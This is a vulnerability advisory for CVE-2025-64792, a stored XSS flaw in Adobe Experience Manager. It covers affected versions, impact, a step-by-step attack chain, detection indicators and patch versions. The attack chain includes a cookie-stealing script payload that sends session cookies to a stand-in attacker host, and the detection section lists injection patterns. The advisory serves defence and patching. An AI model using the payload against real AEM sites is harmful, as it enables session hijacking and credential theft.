CVE-2025-64792: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-64792 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.23 and earlier (on-premises LTS), versions prior to 6.5.24.0, and AEM Cloud Service versions prior to 2025.12.0. The vulnerability was published on December 9, 2025, and patched the same day. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). A low-privileged, authenticated attacker can inject persistent malicious JavaScript into vulnerable AEM form fields; the script executes in the browser of any victim who subsequently visits the page containing the affected field. Exploitation requires user interaction (a victim browsing to the compromised page) and low privileges on the AEM instance, with the scope marked as Changed, indicating impact can extend beyond the vulnerable component (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session within AEM, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or further phishing attacks. The confidentiality and integrity of data accessible to the victim's session are at risk, though availability is not directly impacted. Because AEM often manages enterprise content and integrates with identity systems, a compromised session could facilitate lateral movement within an organization's digital ecosystem (Adobe Advisory).

1. Reconnaissance: Identify AEM instances running version 6.5.23 or earlier, or AEM Cloud Service prior to 2025.12.0, using network scanning or public asset discovery tools.
2. Obtain low-privileged access: Register or obtain credentials for a low-privileged AEM user account (e.g., a content author or contributor role).
3. Locate vulnerable form fields: Navigate AEM's authoring interface to identify form fields that do not properly sanitize user input before storing and rendering it.
4. Inject malicious payload: Submit a crafted stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable field and save the content.
5. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., an administrator) to browse to the page containing the injected content, causing the malicious script to execute in their browser.
6. Harvest results: Collect stolen session tokens, credentials, or other sensitive data exfiltrated to the attacker-controlled server, then use them for session hijacking or further attacks (Adobe Advisory).

• Logs: AEM access logs showing POST requests to form submission endpoints containing suspicious HTML/JavaScript patterns (e.g., <script>, onerror=, javascript:) from low-privileged user accounts.
• Logs: AEM audit logs recording unexpected content modifications or page edits by low-privileged users, particularly in form components.
• Network: Outbound HTTP/HTTPS requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages, potentially carrying cookie or session data in query parameters.
• File System / Content Repository: Presence of JavaScript injection strings (e.g., <script>, eval(, document.cookie) within AEM JCR content nodes or page properties that are not expected to contain script tags.

Adobe has released patches addressing CVE-2025-64792 as part of security bulletin APSB25-115, published December 9, 2025. Users should upgrade AEM on-premises to version 6.5.24.0 or later, and AEM Cloud Service to version 2025.12.0 or later. No specific configuration-based workaround has been publicly documented; upgrading to the patched version is the recommended remediation (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including this XSS issue, could allow for arbitrary code execution in a broader context (CIS Advisory). Tenable added detection coverage via Nessus plugin 278346 shortly after disclosure. No significant independent researcher commentary or notable social media discussion specific to CVE-2025-64792 has been identified beyond standard vulnerability tracking coverage.